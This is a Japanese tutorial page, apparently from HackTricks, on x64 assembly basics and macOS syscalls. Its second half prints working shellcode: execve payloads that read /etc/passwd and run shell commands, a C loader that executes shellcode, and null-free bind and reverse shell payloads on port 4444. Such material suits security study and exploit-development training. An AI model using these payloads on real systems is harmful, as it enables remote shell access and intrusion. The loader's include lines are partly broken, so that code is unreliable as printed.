18 KiB
x64の概要
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterで🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
x64の概要
x64、またはx86-64は、デスクトップやサーバーのコンピューティングで主に使用される64ビットのプロセッサアーキテクチャです。Intelによって生産されたx86アーキテクチャを起源とし、後にAMDがAMD64という名前で採用しました。現在、個人コンピュータやサーバーで広く使用されているアーキテクチャです。
レジスタ
x64はx86アーキテクチャを拡張し、rax
、rbx
、rcx
、rdx
、rbp
、rsp
、rsi
、rdi
、r8
からr15
という16個の汎用レジスタを備えています。これらのレジスタはそれぞれ**64ビット(8バイト)**の値を格納することができます。これらのレジスタには互換性と特定のタスクのための32ビット、16ビット、8ビットのサブレジスタもあります。
rax
- 通常、関数からの戻り値に使用されます。rbx
- メモリ操作のベースレジスタとしてよく使用されます。rcx
- ループカウンタとして一般的に使用されます。rdx
- 拡張算術演算など、さまざまな役割で使用されます。rbp
- スタックフレームのベースポインタです。rsp
- スタックの先頭を追跡するスタックポインタです。rsi
およびrdi
- 文字列/メモリ操作のソースおよび宛先インデックスに使用されます。r8
からr15
- x64で導入された追加の汎用レジスタ。
呼び出し規約
x64の呼び出し規約はオペレーティングシステムによって異なります。例えば:
- Windows:最初の4つのパラメータはレジスタ**
rcx
、rdx
、r8
、r9
に渡されます。さらなるパラメータはスタックにプッシュされます。戻り値はrax
**に格納されます。 - System V(UNIXライクなシステムで一般的に使用される):最初の6つの整数またはポインタパラメータはレジスタ**
rdi
、rsi
、rdx
、rcx
、r8
、r9
に渡されます。戻り値もrax
**にあります。
関数に6つ以上の入力がある場合、残りはスタックに渡されます。スタックポインタであるRSPは、呼び出しの前に指すアドレスが16で割り切れる必要があるため、16バイトアラインメントする必要があります。つまり、通常、関数呼び出し前にRSPが適切にアラインされていることを確認する必要があります。ただし、実際のところ、この要件を満たさなくてもシステムコールは多くの場合動作します。
Swiftの呼び出し規約
Swiftには独自の呼び出し規約があり、https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64で見つけることができます。
一般的な命令
x64の命令は豊富で、以前のx86の命令との互換性を保ちつつ、新しい命令も導入しています。
mov
:あるレジスタまたはメモリ位置から別の場所に値を移動します。- 例:
mov rax, rbx
—rbx
の値をrax
に移動します。 push
およびpop
:スタックに値をプッシュまたはポップします。- 例:
push rax
—rax
の値をスタックにプッシュします。 - 例:
pop rax
— スタックのトップの値をrax
にポップします。 add
およびsub
:加算および減算の演算です。- 例:
add rax, rcx
—rax
とrcx
の値を加算し、結果をrax
に格納します。 mul
およびdiv
:乗算および除算の演算です。注意:これらはオペランドの使用に関して特定の動作をします。call
およびret
:関数の呼び出しと戻りに使用されます。int
:ソフトウェアの割り込みをトリガーします。例:32ビットx86 Linuxでは、システムコールにはint 0x80
が使用されました。cmp
:2つの値を比較し、結果に基づいてCPUのフラグを設定します。- 例:
cmp rax, rdx
—rax
とrdx
を比較します。 je
、jne
、jl
、**jge
**など:前のcmp
またはテストの結果に基づいて制
関数プロローグ
- 古いベースポインタをプッシュする:
push rbp
(呼び出し元のベースポインタを保存する) - 現在のスタックポインタをベースポインタに移動する:
mov rbp, rsp
(現在の関数の新しいベースポインタを設定する) - ローカル変数のためにスタック上にスペースを割り当てる:
sub rsp, <size>
(<size>
は必要なバイト数です)
関数エピローグ
- 現在のベースポインタをスタックポインタに移動する:
mov rsp, rbp
(ローカル変数を解放する) - スタックから古いベースポインタをポップする:
pop rbp
(呼び出し元のベースポインタを復元する) - リターンする:
ret
(制御を呼び出し元に返す)
macOS
シスコール
シスコールには異なるクラスがあります。ここで見つけることができます:
#define SYSCALL_CLASS_NONE 0 /* Invalid */
#define SYSCALL_CLASS_MACH 1 /* Mach */
#define SYSCALL_CLASS_UNIX 2 /* Unix/BSD */
#define SYSCALL_CLASS_MDEP 3 /* Machine-dependent */
#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
次に、各シスコール番号はこのURLで見つけることができます:
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
1 AUE_EXIT ALL { void exit(int rval); }
2 AUE_FORK ALL { int fork(void); }
3 AUE_NULL ALL { user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4 AUE_NULL ALL { user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5 AUE_OPEN_RWTC ALL { int open(user_addr_t path, int flags, int mode); }
6 AUE_CLOSE ALL { int close(int fd); }
7 AUE_WAIT4 ALL { int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8 AUE_NULL ALL { int nosys(void); } { old creat }
9 AUE_LINK ALL { int link(user_addr_t path, user_addr_t link); }
10 AUE_UNLINK ALL { int unlink(user_addr_t path); }
11 AUE_NULL ALL { int nosys(void); } { old execv }
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
[...]
したがって、Unix/BSDクラスからopen
シスコール(5)を呼び出すためには、0x2000000
を追加する必要があります。
したがって、open
を呼び出すためのシスコール番号は0x2000005
になります。
シェルコード
コンパイルするには:
{% code overflow="wrap" %}
nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
{% endcode %}
バイトを抽出するには:
{% code overflow="wrap" %}
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'
シェルコードをテストするためのCコード
```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include <sys/mman.h> #include #includeint (*sc)();
char shellcode[] = "";
int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
sc = ptr; sc();
return 0; }
</details>
#### シェル
[**ここから**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)引用し、説明します。
{% tabs %}
{% tab title="adrを使用" %}
```armasm
bits 64
global _main
_main:
call r_cmd64
db '/bin/zsh', 0
r_cmd64: ; the call placed a pointer to db (argv[2])
pop rdi ; arg1 from the stack placed by the call to l_cmd64
xor rdx, rdx ; store null arg3
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
{% tab title="スタックを使用して" %}
bits 64
global _main
_main:
xor rdx, rdx ; zero our RDX
push rdx ; push NULL string terminator
mov rbx, '/bin/zsh' ; move the path into RBX
push rbx ; push the path, to the stack
mov rdi, rsp ; store the stack pointer in RDI (arg1)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
{% endtab %} {% endtabs %}
catコマンドで読む
目標は、execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)
を実行することです。したがって、第2引数(x1)はパラメータの配列である必要があります(メモリ上ではアドレスのスタックを意味します)。
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 40 ; Allocate space on the stack similar to `sub sp, sp, #48`
lea rdi, [rel cat_path] ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"
; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi ; Add "/etc/passwd" to the stack (arg0)
push rdi ; Add "/bin/cat" to the stack (arg1)
; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp ; argv=rsp - store RSP's value in RSI
xor rdx, rdx ; Clear rdx to hold NULL (no environment variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall ; Make the syscall
section .data
cat_path: db "/bin/cat", 0
passwd_path: db "/etc/passwd", 0
shを使用してコマンドを呼び出す
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 32 ; Create space on the stack
; Argument array
lea rdi, [rel touch_command]
push rdi ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi ; push &"-c"
lea rdi, [rel sh_path]
push rdi ; push &"/bin/sh"
; execve syscall
mov rsi, rsp ; rsi = pointer to argument array
xor rdx, rdx ; rdx = NULL (no env variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
_exit:
xor rdi, rdi ; Exit status code 0
push 1 ; put 1 on the stack (exit syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
section .data
sh_path: db "/bin/sh", 0
sh_c_option: db "-c", 0
touch_command: db "touch /tmp/lalala", 0
バインドシェル
バインドシェルは、https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html からポート4444で利用できます。
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor rdi, rdi
mul rdi
mov dil, 0x2
xor rsi, rsi
mov sil, 0x1
mov al, 0x2
ror rax, 0x28
mov r8, rax
mov al, 0x61
syscall
; struct sockaddr_in {
; __uint8_t sin_len;
; sa_family_t sin_family;
; in_port_t sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
mov rsi, 0xffffffffa3eefdf0
neg rsi
push rsi
push rsp
pop rsi
; bind(host_sockid, &sockaddr, 16)
mov rdi, rax
xor dl, 0x10
mov rax, r8
mov al, 0x68
syscall
; listen(host_sockid, 2)
xor rsi, rsi
mov sil, 0x2
mov rax, r8
mov al, 0x6a
syscall
; accept(host_sockid, 0, 0)
xor rsi, rsi
xor rdx, rdx
mov rax, r8
mov al, 0x1e
syscall
mov rdi, rax
mov sil, 0x3
dup2:
; dup2(client_sockid, 2)
; -> dup2(client_sockid, 1)
; -> dup2(client_sockid, 0)
mov rax, r8
mov al, 0x5a
sub sil, 1
syscall
test rsi, rsi
jne dup2
; execve("//bin/sh", 0, 0)
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
mov rax, r8
mov al, 0x3b
syscall
リバースシェル
https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.htmlからのリバースシェル。127.0.0.1:4444へのリバースシェル。
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor rdi, rdi
mul rdi
mov dil, 0x2
xor rsi, rsi
mov sil, 0x1
mov al, 0x2
ror rax, 0x28
mov r8, rax
mov al, 0x61
syscall
; struct sockaddr_in {
; __uint8_t sin_len;
; sa_family_t sin_family;
; in_port_t sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
mov rsi, 0xfeffff80a3eefdf0
neg rsi
push rsi
push rsp
pop rsi
; connect(sockid, &sockaddr, 16)
mov rdi, rax
xor dl, 0x10
mov rax, r8
mov al, 0x62
syscall
xor rsi, rsi
mov sil, 0x3
dup2:
; dup2(sockid, 2)
; -> dup2(sockid, 1)
; -> dup2(sockid, 0)
mov rax, r8
mov al, 0x5a
sub sil, 1
syscall
test rsi, rsi
jne dup2
; execve("//bin/sh", 0, 0)
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
xor rdx, rdx
mov rax, r8
mov al, 0x3b
syscall
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm.
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。